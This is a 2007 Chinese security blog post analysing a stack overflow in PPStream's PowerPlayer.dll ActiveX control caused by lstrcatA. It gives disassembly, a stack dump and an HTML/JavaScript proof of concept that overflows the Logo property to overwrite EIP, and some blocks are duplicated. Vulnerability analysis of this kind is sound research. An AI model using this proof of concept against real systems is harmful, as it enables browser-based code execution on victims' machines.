[Tips]PPStream PowerPlayer.dll Activex栈溢出分析
by axis
2007-08-22
http://www.ph4nt0m.org
这个漏洞是看雪的dummy发现的。
原文链接:http://bbs.pediy.com/showthread.php?t=49949
目前dummy已经通知了厂商,在最新版本的ppstream中,已经修复了这个漏洞
漏洞影响的版本是 PowerPlayer.dll 版本: 2.0.1.3829
这个漏洞和以前的qq、新浪UC的activex漏洞一样,是由于strcat造成的,而且同样和当前用户名有关。所以虽然这是栈溢出,但是要做到通用,还是只能用heap spray的方法比较好。不过如果已经知道用户名了,则可以定制出一个完美的exploit。
看漏洞程序:
在如下地方:
在MFC42.DLL中:
73DB7BB1 8BCE MOV ECX,ESI
73DB7BB3 FF53 14 CALL DWORD PTR DS:[EBX+14] ; POWERP~1.026E1FF7
73DB7BB3 FF53 14 CALL DWORD PTR DS:[EBX+14] ; POWERP~1.026E1FF7
一路跟进去,到了如下调用strcat的地方(此时已经到了PowerPlayer.dll里了,这个dll每次加载地址都不同):
026E2159 8D85 9CFEFFFF LEA EAX,DWORD PTR SS:[EBP-164]
026E215F C70424 E8B46F02 MOV DWORD PTR SS:[ESP],POWERP~1.026FB4E8
026E2166 50 PUSH EAX
026E2167 FFD3 CALL EBX ; kernel32.lstrcatA
026E2169 FF36 PUSH DWORD PTR DS:[ESI]
026E216B 8D85 9CFEFFFF LEA EAX,DWORD PTR SS:[EBP-164]
026E2171 50 PUSH EAX
026E2172 FFD3 CALL EBX ; 溢出 lstrcatA
026E215F C70424 E8B46F02 MOV DWORD PTR SS:[ESP],POWERP~1.026FB4E8
026E2166 50 PUSH EAX
026E2167 FFD3 CALL EBX ; kernel32.lstrcatA
026E2169 FF36 PUSH DWORD PTR DS:[ESI]
026E216B 8D85 9CFEFFFF LEA EAX,DWORD PTR SS:[EBP-164]
026E2171 50 PUSH EAX
026E2172 FFD3 CALL EBX ; 溢出 lstrcatA
此时栈里的内容为:
EBP-164 > 445C3A43 C:\D
EBP-160 > 6D75636F ocum
EBP-15C > 73746E65 ents
EBP-158 > 646E6120 and
EBP-154 > 74655320 Set msimtf.74655320
EBP-150 > 676E6974 ting
EBP-14C > 64415C73 s\Ad
EBP-148 > 696E696D mini
EBP-144 > 61727473 stra
EBP-140 > 5C726F74 tor\
EBP-13C > 6C707041 Appl
EBP-138 > 74616369 icat
EBP-134 > 206E6F69 ion
EBP-130 > 61746144 Data
EBP-12C > 5370705C \ppS
EBP-128 > 61657274 trea
EBP-124 > 0A0A5C6D m\..
EBP-120 > 0A0A0A0A .
EBP-11C > 0A0A0A0A .
EBP-118 > 0A0A0A0A .
EBP-114 > 0A0A0A0A .
EBP-160 > 6D75636F ocum
EBP-15C > 73746E65 ents
EBP-158 > 646E6120 and
EBP-154 > 74655320 Set msimtf.74655320
EBP-150 > 676E6974 ting
EBP-14C > 64415C73 s\Ad
EBP-148 > 696E696D mini
EBP-144 > 61727473 stra
EBP-140 > 5C726F74 tor\
EBP-13C > 6C707041 Appl
EBP-138 > 74616369 icat
EBP-134 > 206E6F69 ion
EBP-130 > 61746144 Data
EBP-12C > 5370705C \ppS
EBP-128 > 61657274 trea
EBP-124 > 0A0A5C6D m\..
EBP-120 > 0A0A0A0A .
EBP-11C > 0A0A0A0A .
EBP-118 > 0A0A0A0A .
EBP-114 > 0A0A0A0A .
所以当覆盖164h时,就覆盖了EBP,注意这个164h是要包含前面的环境目录的。
所以这个漏洞是和用户名的长度有关系的,不同的用户名,需要根据长度进行调整。
以下是在用户名为administrator的情况下,覆盖eip的poc (eip = 'SXIA'):
<html><body>
<object id="ppc" classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object>
<script>
var buffer = '\x41';
while (buffer.length < 294)
buffer += '\x41';
buffer += 'AXIS';
ppc.Logo = buffer;
</script>
</body></html>
<object id="ppc" classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object>
<script>
var buffer = '\x41';
while (buffer.length < 294)
buffer += '\x41';
buffer += 'AXIS';
ppc.Logo = buffer;
</script>
</body></html>
还有一点要注意的就是,payload里不能包含有大于0x80的字符,不然会被转换。
听说还有其他dll有问题,没时间细看了,哪位朋友有时间不妨fuzz一下。
没有评论:
发表评论